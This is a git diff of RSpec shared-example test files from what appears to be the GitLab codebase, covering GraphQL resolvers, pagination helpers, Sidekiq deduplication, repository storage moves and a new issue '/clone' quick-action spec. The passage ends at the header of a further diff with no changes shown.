diff --git a/spec/support/shared_examples/graphql/jira_import/jira_import_resolver_shared_examples.rb b/spec/support/shared_examples/graphql/jira_import/jira_import_resolver_shared_examples.rb
deleted file mode 100644
index b2047f1d32c..00000000000
--- a/spec/support/shared_examples/graphql/jira_import/jira_import_resolver_shared_examples.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'no Jira import data present' do
- it 'returns none' do
- expect(resolve_imports).to eq JiraImportState.none
- end
-end
-
-RSpec.shared_examples 'no Jira import access' do
- it 'raises error' do
- expect do
- resolve_imports
- end.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
- end
-end
diff --git a/spec/support/shared_examples/graphql/members_shared_examples.rb b/spec/support/shared_examples/graphql/members_shared_examples.rb
index 3a046c3feec..b0bdd27a95f 100644
--- a/spec/support/shared_examples/graphql/members_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/members_shared_examples.rb
@@ -36,9 +36,10 @@ RSpec.shared_examples 'querying members with a group' do
let_it_be(:group_2_member) { create(:group_member, user: user_3, group: group_2) }
let(:args) { {} }
+ let(:base_args) { { relations: described_class.arguments['relations'].default_value } }
subject do
- resolve(described_class, obj: resource, args: args, ctx: { current_user: user_4 })
+ resolve(described_class, obj: resource, args: base_args.merge(args), ctx: { current_user: user_4 })
end
describe '#resolve' do
@@ -72,7 +73,7 @@ RSpec.shared_examples 'querying members with a group' do
let_it_be(:other_user) { create(:user) }
subject do
- resolve(described_class, obj: resource, args: args, ctx: { current_user: other_user })
+ resolve(described_class, obj: resource, args: base_args.merge(args), ctx: { current_user: other_user })
end
it 'raises an error' do
diff --git a/spec/support/shared_examples/graphql/mutation_shared_examples.rb b/spec/support/shared_examples/graphql/mutation_shared_examples.rb
index b67cac94547..84ebd4852b9 100644
--- a/spec/support/shared_examples/graphql/mutation_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/mutation_shared_examples.rb
@@ -13,6 +13,8 @@ RSpec.shared_examples 'a mutation that returns top-level errors' do |errors: []|
it do
post_graphql_mutation(mutation, current_user: current_user)
+ expect(graphql_errors).to be_present
+
error_messages = graphql_errors.map { |e| e['message'] }
expect(error_messages).to match_errors
diff --git a/spec/support/shared_examples/graphql/mutations/boards_create_shared_examples.rb b/spec/support/shared_examples/graphql/mutations/boards_create_shared_examples.rb
index 9c0b398a5c1..2b93d174653 100644
--- a/spec/support/shared_examples/graphql/mutations/boards_create_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/boards_create_shared_examples.rb
@@ -40,6 +40,30 @@ RSpec.shared_examples 'boards create mutation' do
end
end
+ context 'when hide_backlog_list parameter is true' do
+ before do
+ params[:hide_backlog_list] = true
+ end
+
+ it 'returns the board with correct hide_backlog_list field' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response['board']['hideBacklogList']).to eq(true)
+ end
+ end
+
+ context 'when hide_closed_list parameter is true' do
+ before do
+ params[:hide_closed_list] = true
+ end
+
+ it 'returns the board with correct hide_closed_list field' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response['board']['hideClosedList']).to eq(true)
+ end
+ end
+
context 'when the Boards::CreateService returns an error response' do
before do
allow_next_instance_of(Boards::CreateService) do |service|
diff --git a/spec/support/shared_examples/graphql/mutations/spammable_mutation_fields_examples.rb b/spec/support/shared_examples/graphql/mutations/spammable_mutation_fields_examples.rb
index 54b3f84a6e6..8678b23ad31 100644
--- a/spec/support/shared_examples/graphql/mutations/spammable_mutation_fields_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/spammable_mutation_fields_examples.rb
@@ -13,7 +13,8 @@ end
RSpec.shared_examples 'can raise spam flag' do
it 'spam parameters are passed to the service' do
- expect(service).to receive(:new).with(anything, anything, hash_including(api: true, request: instance_of(ActionDispatch::Request)))
+ args = [anything, anything, hash_including(api: true, request: instance_of(ActionDispatch::Request))]
+ expect(service).to receive(:new).with(*args).and_call_original
subject
end
@@ -39,7 +40,9 @@ RSpec.shared_examples 'can raise spam flag' do
end
it 'request parameter is not passed to the service' do
- expect(service).to receive(:new).with(anything, anything, hash_not_including(request: instance_of(ActionDispatch::Request)))
+ expect(service).to receive(:new)
+ .with(anything, anything, hash_not_including(request: instance_of(ActionDispatch::Request)))
+ .and_call_original
subject
end
diff --git a/spec/support/shared_examples/graphql/projects/services_resolver_shared_examples.rb b/spec/support/shared_examples/graphql/projects/services_resolver_shared_examples.rb
index 94b7ed1618d..16c2ab07f3a 100644
--- a/spec/support/shared_examples/graphql/projects/services_resolver_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/projects/services_resolver_shared_examples.rb
@@ -2,14 +2,12 @@
RSpec.shared_examples 'no project services' do
it 'returns empty collection' do
- expect(resolve_services).to eq []
+ expect(resolve_services).to be_empty
end
end
RSpec.shared_examples 'cannot access project services' do
it 'raises error' do
- expect do
- resolve_services
- end.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ expect(resolve_services).to be_nil
end
end
diff --git a/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb b/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
index 7627a7b4d59..f78ea364147 100644
--- a/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
@@ -16,80 +16,111 @@
#
# Example:
# describe 'sorting and pagination' do
-# let(:sort_project) { create(:project, :public) }
+# let_it_be(:sort_project) { create(:project, :public) }
# let(:data_path) { [:project, :issues] }
#
-# def pagination_query(params, page_info)
-# graphql_query_for(
-# 'project',
-# { 'fullPath' => sort_project.full_path },
-# query_graphql_field('issues', params, "#{page_info} edges { node { id } }")
+# def pagination_query(arguments)
+# graphql_query_for(:project, { full_path: sort_project.full_path },
+# query_nodes(:issues, :iid, include_pagination_info: true, args: arguments)
# )
# end
#
-# def pagination_results_data(data)
-# data.map { |issue| issue.dig('node', 'iid').to_i }
+# # A method transforming nodes to data to match against
+# # default: the identity function
+# def pagination_results_data(issues)
+# issues.map { |issue| issue['iid].to_i }
# end
#
# context 'when sorting by weight' do
-# ...
+# let_it_be(:issues) { make_some_issues_with_weights }
+#
# context 'when ascending' do
+# let(:ordered_issues) { issues.sort_by(&:weight) }
+#
# it_behaves_like 'sorted paginated query' do
-# let(:sort_param) { 'WEIGHT_ASC' }
+# let(:sort_param) { :WEIGHT_ASC }
# let(:first_param) { 2 }
-# let(:expected_results) { [weight_issue3.iid, weight_issue5.iid, weight_issue1.iid, weight_issue4.iid, weight_issue2.iid] }
+# let(:expected_results) { ordered_issues.map(&:iid) }
# end
# end
#
RSpec.shared_examples 'sorted paginated query' do
+ # Provided as a convenience when constructing queries using string concatenation
+ let(:page_info) { 'pageInfo { startCursor endCursor }' }
+ # Convenience for using default implementation of pagination_results_data
+ let(:node_path) { ['id'] }
+
it_behaves_like 'requires variables' do
let(:required_variables) { [:sort_param, :first_param, :expected_results, :data_path, :current_user] }
end
describe do
- let(:sort_argument) { "sort: #{sort_param}" if sort_param.present? }
- let(:first_argument) { "first: #{first_param}" if first_param.present? }
+ let(:sort_argument) { graphql_args(sort: sort_param) }
let(:params) { sort_argument }
- let(:start_cursor) { graphql_data_at(*data_path, :pageInfo, :startCursor) }
- let(:end_cursor) { graphql_data_at(*data_path, :pageInfo, :endCursor) }
- let(:sorted_edges) { graphql_data_at(*data_path, :edges) }
- let(:page_info) { "pageInfo { startCursor endCursor }" }
- def pagination_query(params, page_info)
- raise('pagination_query(params, page_info) must be defined in the test, see example in comment') unless defined?(super)
+ # Convenience helper for the large number of queries defined as a projection
+ # from some root value indexed by full_path to a collection of objects with IID
+ def nested_internal_id_query(root_field, parent, field, args, selection: :iid)
+ graphql_query_for(root_field, { full_path: parent.full_path },
+ query_nodes(field, selection, args: args, include_pagination_info: true)
+ )
+ end
+
+ def pagination_query(params)
+ raise('pagination_query(params) must be defined in the test, see example in comment') unless defined?(super)
super
end
- def pagination_results_data(data)
- raise('pagination_results_data(data) must be defined in the test, see example in comment') unless defined?(super)
+ def pagination_results_data(nodes)
+ if defined?(super)
+ super(nodes)
+ else
+ nodes.map { |n| n.dig(*node_path) }
+ end
+ end
+
+ def results
+ nodes = graphql_dig_at(graphql_data(fresh_response_data), *data_path, :nodes)
+ pagination_results_data(nodes)
+ end
+
+ def end_cursor
+ graphql_dig_at(graphql_data(fresh_response_data), *data_path, :page_info, :end_cursor)
+ end
- super(data)
+ def start_cursor
+ graphql_dig_at(graphql_data(fresh_response_data), *data_path, :page_info, :start_cursor)
end
+ let(:query) { pagination_query(params) }
+
before do
- post_graphql(pagination_query(params, page_info), current_user: current_user)
+ post_graphql(query, current_user: current_user)
end
context 'when sorting' do
it 'sorts correctly' do
- expect(pagination_results_data(sorted_edges)).to eq expected_results
+ expect(results).to eq expected_results
end
context 'when paginating' do
- let(:params) { [sort_argument, first_argument].compact.join(',') }
+ let(:params) { sort_argument.merge(first: first_param) }
+ let(:first_page) { expected_results.first(first_param) }
+ let(:rest) { expected_results.drop(first_param) }
it 'paginates correctly' do
- expect(pagination_results_data(sorted_edges)).to eq expected_results.first(first_param)
+ expect(results).to eq first_page
- cursored_query = pagination_query([sort_argument, "after: \"#{end_cursor}\""].compact.join(','), page_info)
- post_graphql(cursored_query, current_user: current_user)
+ fwds = pagination_query(sort_argument.merge(after: end_cursor))
+ post_graphql(fwds, current_user: current_user)
- expect(response).to have_gitlab_http_status(:ok)
+ expect(results).to eq rest
- response_data = graphql_dig_at(Gitlab::Json.parse(response.body), :data, *data_path, :edges)
+ bwds = pagination_query(sort_argument.merge(before: start_cursor))
+ post_graphql(bwds, current_user: current_user)
- expect(pagination_results_data(response_data)).to eq expected_results.drop(first_param)
+ expect(results).to eq first_page
end
end
end
diff --git a/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb b/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
index ed139e638bf..269e9170906 100644
--- a/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
@@ -32,16 +32,16 @@ RSpec.shared_examples 'Gitlab-style deprecations' do
it 'adds a formatted `deprecated_reason` to the subject' do
deprecable = subject(deprecated: { milestone: '1.10', reason: 'Deprecation reason' })
- expect(deprecable.deprecation_reason).to eq('Deprecation reason. Deprecated in 1.10')
+ expect(deprecable.deprecation_reason).to eq('Deprecation reason. Deprecated in 1.10.')
end
it 'appends to the description if given' do
deprecable = subject(
deprecated: { milestone: '1.10', reason: 'Deprecation reason' },
- description: 'Deprecable description'
+ description: 'Deprecable description.'
)
- expect(deprecable.description).to eq('Deprecable description. Deprecated in 1.10: Deprecation reason')
+ expect(deprecable.description).to eq('Deprecable description. Deprecated in 1.10: Deprecation reason.')
end
it 'does not append to the description if it is absent' do
diff --git a/spec/support/shared_examples/lib/gitlab/diff_file_collections_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/diff_file_collections_shared_examples.rb
index 469c0c287b1..c9e03ced0dd 100644
--- a/spec/support/shared_examples/lib/gitlab/diff_file_collections_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/diff_file_collections_shared_examples.rb
@@ -143,3 +143,55 @@ RSpec.shared_examples 'cacheable diff collection' do
end
end
end
+
+shared_examples_for 'sortable diff files' do
+ subject { described_class.new(diffable, **collection_default_args) }
+
+ describe '#raw_diff_files' do
+ let(:raw_diff_files_paths) do
+ subject.raw_diff_files(sorted: sorted).map { |file| file.new_path.presence || file.old_path }
+ end
+
+ context 'when sorted is false (default)' do
+ let(:sorted) { false }
+
+ it 'returns unsorted diff files' do
+ expect(raw_diff_files_paths).to eq(unsorted_diff_files_paths)
+ end
+ end
+
+ context 'when sorted is true' do
+ let(:sorted) { true }
+
+ it 'returns sorted diff files' do
+ expect(raw_diff_files_paths).to eq(sorted_diff_files_paths)
+ end
+
+ context 'when sort_diffs feature flag is disabled' do
+ before do
+ stub_feature_flags(sort_diffs: false)
+ end
+
+ it 'returns unsorted diff files' do
+ expect(raw_diff_files_paths).to eq(unsorted_diff_files_paths)
+ end
+ end
+ end
+ end
+end
+
+shared_examples_for 'unsortable diff files' do
+ subject { described_class.new(diffable, **collection_default_args) }
+
+ describe '#raw_diff_files' do
+ it 'does not call Gitlab::Diff::FileCollectionSorter even when sorted is true' do
+ # Ensure that diffable is created before expectation to ensure that we are
+ # not calling it from `FileCollectionSorter` from `#raw_diff_files`.
+ diffable
+
+ expect(Gitlab::Diff::FileCollectionSorter).not_to receive(:new)
+
+ subject.raw_diff_files(sorted: true)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/import_export/import_failure_service_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/import_export/import_failure_service_shared_examples.rb
index 801be5ae946..67afd2035c4 100644
--- a/spec/support/shared_examples/lib/gitlab/import_export/import_failure_service_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/import_export/import_failure_service_shared_examples.rb
@@ -3,10 +3,10 @@
RSpec.shared_examples 'log import failure' do |importable_column|
it 'tracks error' do
extra = {
- source: action,
- relation_key: relation_key,
- relation_index: relation_index,
- retry_count: retry_count
+ source: action,
+ relation_name: relation_key,
+ relation_index: relation_index,
+ retry_count: retry_count
}
extra[importable_column] = importable.id
diff --git a/spec/support/shared_examples/lib/gitlab/middleware/read_only_gitlab_instance_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/middleware/read_only_gitlab_instance_shared_examples.rb
index e07d3e2dec9..5b3d30df739 100644
--- a/spec/support/shared_examples/lib/gitlab/middleware/read_only_gitlab_instance_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/middleware/read_only_gitlab_instance_shared_examples.rb
@@ -125,6 +125,9 @@ RSpec.shared_examples 'write access for a read-only GitLab instance' do
where(:description, :path) do
'LFS request to batch' | '/root/rouge.git/info/lfs/objects/batch'
'request to git-upload-pack' | '/root/rouge.git/git-upload-pack'
+ 'user sign out' | '/users/sign_out'
+ 'admin session' | '/admin/session'
+ 'admin session destroy' | '/admin/session/destroy'
end
with_them do
diff --git a/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/strategy_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/strategy_shared_examples.rb
index 2936bb354cf..89b793d5e16 100644
--- a/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/strategy_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/strategy_shared_examples.rb
@@ -38,7 +38,7 @@ RSpec.shared_examples 'deduplicating jobs when scheduling' do |strategy_name|
it 'adds the jid of the existing job to the job hash' do
allow(fake_duplicate_job).to receive(:scheduled?).and_return(false)
allow(fake_duplicate_job).to receive(:check!).and_return('the jid')
- allow(fake_duplicate_job).to receive(:droppable?).and_return(true)
+ allow(fake_duplicate_job).to receive(:idempotent?).and_return(true)
allow(fake_duplicate_job).to receive(:options).and_return({})
job_hash = {}
@@ -62,7 +62,7 @@ RSpec.shared_examples 'deduplicating jobs when scheduling' do |strategy_name|
receive(:check!)
.with(Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob::DUPLICATE_KEY_TTL)
.and_return('the jid'))
- allow(fake_duplicate_job).to receive(:droppable?).and_return(true)
+ allow(fake_duplicate_job).to receive(:idempotent?).and_return(true)
job_hash = {}
expect(fake_duplicate_job).to receive(:duplicate?).and_return(true)
@@ -82,7 +82,7 @@ RSpec.shared_examples 'deduplicating jobs when scheduling' do |strategy_name|
allow(fake_duplicate_job).to receive(:options).and_return({ including_scheduled: true })
allow(fake_duplicate_job).to(
receive(:check!).with(time_diff.to_i).and_return('the jid'))
- allow(fake_duplicate_job).to receive(:droppable?).and_return(true)
+ allow(fake_duplicate_job).to receive(:idempotent?).and_return(true)
job_hash = {}
expect(fake_duplicate_job).to receive(:duplicate?).and_return(true)
@@ -104,13 +104,13 @@ RSpec.shared_examples 'deduplicating jobs when scheduling' do |strategy_name|
allow(fake_duplicate_job).to receive(:duplicate?).and_return(true)
allow(fake_duplicate_job).to receive(:options).and_return({})
allow(fake_duplicate_job).to receive(:existing_jid).and_return('the jid')
- allow(fake_duplicate_job).to receive(:droppable?).and_return(true)
+ allow(fake_duplicate_job).to receive(:idempotent?).and_return(true)
end
it 'drops the job' do
schedule_result = nil
- expect(fake_duplicate_job).to receive(:droppable?).and_return(true)
+ expect(fake_duplicate_job).to receive(:idempotent?).and_return(true)
expect { |b| schedule_result = strategy.schedule({}, &b) }.not_to yield_control
expect(schedule_result).to be(false)
diff --git a/spec/support/shared_examples/models/concerns/can_move_repository_storage_shared_examples.rb b/spec/support/shared_examples/models/concerns/can_move_repository_storage_shared_examples.rb
new file mode 100644
index 00000000000..85a2c6f1449
--- /dev/null
+++ b/spec/support/shared_examples/models/concerns/can_move_repository_storage_shared_examples.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'can move repository storage' do
+ let(:container) { raise NotImplementedError }
+
+ describe '#set_repository_read_only!' do
+ it 'makes the repository read-only' do
+ expect { container.set_repository_read_only! }
+ .to change(container, :repository_read_only?)
+ .from(false)
+ .to(true)
+ end
+
+ it 'raises an error if the project is already read-only' do
+ container.set_repository_read_only!
+
+ expect { container.set_repository_read_only! }.to raise_error(described_class::RepositoryReadOnlyError, /already read-only/)
+ end
+
+ it 'raises an error when there is an existing git transfer in progress' do
+ allow(container).to receive(:git_transfer_in_progress?) { true }
+
+ expect { container.set_repository_read_only! }.to raise_error(described_class::RepositoryReadOnlyError, /in progress/)
+ end
+
+ context 'skip_git_transfer_check is true' do
+ it 'makes the project read-only when git transfers are in progress' do
+ allow(container).to receive(:git_transfer_in_progress?) { true }
+
+ expect { container.set_repository_read_only!(skip_git_transfer_check: true) }
+ .to change(container, :repository_read_only?)
+ .from(false)
+ .to(true)
+ end
+ end
+ end
+
+ describe '#set_repository_writable!' do
+ it 'sets repository_read_only to false' do
+ expect { container.set_repository_writable! }
+ .to change(container, :repository_read_only)
+ .from(true).to(false)
+ end
+ end
+
+ describe '#reference_counter' do
+ it 'returns a Gitlab::ReferenceCounter object' do
+ expect(Gitlab::ReferenceCounter).to receive(:new).with(container.repository.gl_repository).and_call_original
+
+ result = container.reference_counter(type: container.repository.repo_type)
+
+ expect(result).to be_a Gitlab::ReferenceCounter
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/concerns/repository_storage_movable_shared_examples.rb b/spec/support/shared_examples/models/concerns/repository_storage_movable_shared_examples.rb
new file mode 100644
index 00000000000..5a8388d01df
--- /dev/null
+++ b/spec/support/shared_examples/models/concerns/repository_storage_movable_shared_examples.rb
@@ -0,0 +1,115 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'handles repository moves' do
+ describe 'associations' do
+ it { is_expected.to belong_to(:container) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:container) }
+ it { is_expected.to validate_presence_of(:state) }
+ it { is_expected.to validate_presence_of(:source_storage_name) }
+ it { is_expected.to validate_presence_of(:destination_storage_name) }
+
+ context 'source_storage_name inclusion' do
+ subject { build(repository_storage_factory_key, source_storage_name: 'missing') }
+
+ it "does not allow repository storages that don't match a label in the configuration" do
+ expect(subject).not_to be_valid
+ expect(subject.errors[:source_storage_name].first).to match(/is not included in the list/)
+ end
+ end
+
+ context 'destination_storage_name inclusion' do
+ subject { build(repository_storage_factory_key, destination_storage_name: 'missing') }
+
+ it "does not allow repository storages that don't match a label in the configuration" do
+ expect(subject).not_to be_valid
+ expect(subject.errors[:destination_storage_name].first).to match(/is not included in the list/)
+ end
+ end
+
+ context 'container repository read-only' do
+ subject { build(repository_storage_factory_key, container: container) }
+
+ it "does not allow the container to be read-only on create" do
+ container.update!(repository_read_only: true)
+
+ expect(subject).not_to be_valid
+ expect(subject.errors[error_key].first).to match(/is read only/)
+ end
+ end
+ end
+
+ describe 'defaults' do
+ context 'destination_storage_name' do
+ subject { build(repository_storage_factory_key) }
+
+ it 'picks storage from ApplicationSetting' do
+ expect(Gitlab::CurrentSettings).to receive(:pick_repository_storage).and_return('picked').at_least(:once)
+
+ expect(subject.destination_storage_name).to eq('picked')
+ end
+ end
+ end
+
+ describe 'state transitions' do
+ before do
+ stub_storage_settings('test_second_storage' => { 'path' => 'tmp/tests/extra_storage' })
+ end
+
+ context 'when in the default state' do
+ subject(:storage_move) { create(repository_storage_factory_key, container: container, destination_storage_name: 'test_second_storage') }
+
+ context 'and transits to scheduled' do
+ it 'triggers the corresponding repository storage worker' do
+ skip unless repository_storage_worker # TODO remove after https://gitlab.com/gitlab-org/gitlab/-/issues/218991 is implemented
+ expect(repository_storage_worker).to receive(:perform_async).with(container.id, 'test_second_storage', storage_move.id)
+
+ storage_move.schedule!
+
+ expect(container).to be_repository_read_only
+ end
+
+ context 'when the transition fails' do
+ it 'does not trigger ProjectUpdateRepositoryStorageWorker and adds an error' do
+ skip unless repository_storage_worker # TODO remove after https://gitlab.com/gitlab-org/gitlab/-/issues/218991 is implemented
+ allow(storage_move.container).to receive(:set_repository_read_only!).and_raise(StandardError, 'foobar')
+ expect(repository_storage_worker).not_to receive(:perform_async)
+
+ storage_move.schedule!
+
+ expect(storage_move.errors[error_key]).to include('foobar')
+ end
+ end
+ end
+
+ context 'and transits to started' do
+ it 'does not allow the transition' do
+ expect { storage_move.start! }
+ .to raise_error(StateMachines::InvalidTransition)
+ end
+ end
+ end
+
+ context 'when started' do
+ subject(:storage_move) { create(repository_storage_factory_key, :started, container: container, destination_storage_name: 'test_second_storage') }
+
+ context 'and transits to replicated' do
+ it 'marks the container as writable' do
+ storage_move.finish_replication!
+
+ expect(container).not_to be_repository_read_only
+ end
+ end
+
+ context 'and transits to failed' do
+ it 'marks the container as writable' do
+ storage_move.do_fail!
+
+ expect(container).not_to be_repository_read_only
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/concerns/shardable_shared_examples.rb b/spec/support/shared_examples/models/concerns/shardable_shared_examples.rb
index fa929d5b791..fd0639b628e 100644
--- a/spec/support/shared_examples/models/concerns/shardable_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/shardable_shared_examples.rb
@@ -18,4 +18,10 @@ RSpec.shared_examples 'shardable scopes' do
expect(described_class.excluding_repository_storage('default')).to eq([record_2])
end
end
+
+ describe '.for_shard' do
+ it 'returns the objects for a given shard' do
+ expect(described_class.for_shard(record_1.shard)).to eq([record_1])
+ end
+ end
end
diff --git a/spec/support/shared_examples/models/mentionable_shared_examples.rb b/spec/support/shared_examples/models/mentionable_shared_examples.rb
index 0ee0b7e6d88..2392658e584 100644
--- a/spec/support/shared_examples/models/mentionable_shared_examples.rb
+++ b/spec/support/shared_examples/models/mentionable_shared_examples.rb
@@ -92,7 +92,7 @@ RSpec.shared_examples 'a mentionable' do
end
end
- expect(subject).to receive(:cached_markdown_fields).at_least(:once).and_call_original
+ expect(subject).to receive(:cached_markdown_fields).at_least(1).and_call_original
subject.all_references(author)
end
@@ -151,7 +151,7 @@ RSpec.shared_examples 'an editable mentionable' do
end
it 'persists the refreshed cache so that it does not have to be refreshed every time' do
- expect(subject).to receive(:refresh_markdown_cache).once.and_call_original
+ expect(subject).to receive(:refresh_markdown_cache).at_least(1).and_call_original
subject.all_references(author)
diff --git a/spec/support/shared_examples/models/resource_timebox_event_shared_examples.rb b/spec/support/shared_examples/models/resource_timebox_event_shared_examples.rb
index 5198508d48b..f56e8d4e085 100644
--- a/spec/support/shared_examples/models/resource_timebox_event_shared_examples.rb
+++ b/spec/support/shared_examples/models/resource_timebox_event_shared_examples.rb
@@ -75,11 +75,17 @@ RSpec.shared_examples 'timebox resource event actions' do
end
RSpec.shared_examples 'timebox resource tracks issue metrics' do |type|
- describe '#usage_metrics' do
- it 'tracks usage' do
+ describe '#issue_usage_metrics' do
+ it 'tracks usage for issues' do
expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).to receive(:"track_issue_#{type}_changed_action")
create(described_class.name.underscore.to_sym, issue: create(:issue))
end
+
+ it 'does not track usage for merge requests' do
+ expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).not_to receive(:"track_issue_#{type}_changed_action")
+
+ create(described_class.name.underscore.to_sym, merge_request: create(:merge_request))
+ end
end
end
diff --git a/spec/support/shared_examples/quick_actions/issue/clone_quick_action_shared_examples.rb b/spec/support/shared_examples/quick_actions/issue/clone_quick_action_shared_examples.rb
new file mode 100644
index 00000000000..a99304f7214
--- /dev/null
+++ b/spec/support/shared_examples/quick_actions/issue/clone_quick_action_shared_examples.rb
@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'clone quick action' do
+ context 'clone the issue to another project' do
+ let(:target_project) { create(:project, :public) }
+
+ context 'when no target is given' do
+ it 'clones the issue in the current project' do
+ add_note("/clone")
+
+ expect(page).to have_content "Cloned this issue to #{project.full_path}."
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(project, issue)
+
+ expect(page).to have_content 'Issues 2'
+ end
+ end
+
+ context 'when the project is valid' do
+ before do
+ target_project.add_maintainer(user)
+ end
+
+ it 'clones the issue' do
+ add_note("/clone #{target_project.full_path}")
+
+ expect(page).to have_content "Cloned this issue to #{target_project.full_path}."
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(target_project, issue)
+
+ expect(page).to have_content 'Issues 1'
+ end
+
+ context 'when cloning with notes', :aggregate_failures do
+ it 'clones the issue with all notes' do
+ add_note("Some random note")
+ add_note("Another note")
+
+ add_note("/clone --with_notes #{target_project.full_path}")
+
+ expect(page).to have_content "Cloned this issue to #{target_project.full_path}."
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(target_project, issue)
+
+ expect(page).to have_content 'Issues 1'
+ expect(page).to have_content 'Some random note'
+ expect(page).to have_content 'Another note'
+ end
+
+ it 'returns an error if the params are malformed' do
+ # Note that this is missing one `-`
+ add_note("/clone -with_notes #{target_project.full_path}")
+
+ wait_for_requests
+
+ expect(page).to have_content 'Failed to clone this issue: wrong parameters.'
+ expect(issue.reload).to be_open
+ end
+ end
+ end
+
+ context 'when the project is valid but the user not authorized' do
+ let(:project_unauthorized) { create(:project, :public) }
+
+ it 'does not clone the issue' do
+ add_note("/clone #{project_unauthorized.full_path}")
+
+ wait_for_requests
+
+ expect(page).to have_content "Cloned this issue to #{project_unauthorized.full_path}."
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(target_project, issue)
+
+ expect(page).not_to have_content 'Issues 1'
+ end
+ end
+
+ context 'when the project is invalid' do
+ it 'does not clone the issue' do
+ add_note("/clone not/valid")
+
+ wait_for_requests
+
+ expect(page).to have_content "Failed to clone this issue because target project doesn't exist."
+ expect(issue.reload).to be_open
+ end
+ end
+
+ context 'when the user issues multiple commands' do
+ let(:milestone) { create(:milestone, title: '1.0', project: project) }
+ let(:bug) { create(:label, project: project, title: 'bug') }
+ let(:wontfix) { create(:label, project: project, title: 'wontfix') }
+
+ let!(:target_milestone) { create(:milestone, title: '1.0', project: target_project) }
+
+ before do
+ target_project.add_maintainer(user)
+ end
+
+ shared_examples 'applies the commands to issues in both projects, target and source' do
+ it "applies quick actions" do
+ expect(page).to have_content "Cloned this issue to #{target_project.full_path}."
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(target_project, issue)
+
+ expect(page).to have_content 'bug'
+ expect(page).to have_content 'wontfix'
+ expect(page).to have_content '1.0'
+
+ visit project_issue_path(project, issue)
+ expect(page).to have_content 'bug'
+ expect(page).to have_content 'wontfix'
+ expect(page).to have_content '1.0'
+ end
+ end
+
+ context 'applies multiple commands with clone command in the end' do
+ before do
+ add_note("/label ~#{bug.title} ~#{wontfix.title}\n\n/milestone %\"#{milestone.title}\"\n\n/clone #{target_project.full_path}")
+ end
+
+ it_behaves_like 'applies the commands to issues in both projects, target and source'
+ end
+
+ context 'applies multiple commands with clone command in the begining' do
+ before do
+ add_note("/clone #{target_project.full_path}\n\n/label ~#{bug.title} ~#{wontfix.title}\n\n/milestone %\"#{milestone.title}\"")
+ end
+
+ it_behaves_like 'applies the commands to issues in both projects, target and source'
+ end
+ end
+
+ context 'when editing comments' do
+ let(:target_project) { create(:project, :public) }
+
+ before do
+ target_project.add_maintainer(user)
+
+ sign_in(user)
+ visit project_issue_path(project, issue)
+ wait_for_all_requests
+ end
+
+ it 'clones the issue after quickcommand note was updated' do
+ # misspelled quick action
+ add_note("test note.\n/cloe #{target_project.full_path}")
+
+ expect(issue.reload).not_to be_closed
+
+ edit_note("/cloe #{target_project.full_path}", "test note.\n/clone #{target_project.full_path}")
+ wait_for_all_requests
+
+ expect(page).to have_content 'test note.'
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(target_project, issue)
+ wait_for_all_requests
+
+ expect(page).to have_content 'Issues 1'
+ end
+
+ it 'deletes the note if it was updated to just contain a command' do
+ # missspelled quick action
+ add_note("test note.\n/cloe #{target_project.full_path}")
+
+ expect(page).not_to have_content 'Commands applied'
+
+ edit_note("/cloe #{target_project.full_path}", "/clone #{target_project.full_path}")
+ wait_for_all_requests
+
+ expect(page).not_to have_content "/clone #{target_project.full_path}"
+ expect(issue.reload).to be_open
+
+ visit project_issue_path(target_project, issue)
+ wait_for_all_requests
+
+ expect(page).to have_content 'Issues 1'
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
index c56290a0aa9..49b6fc13900 100644
--- a/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb
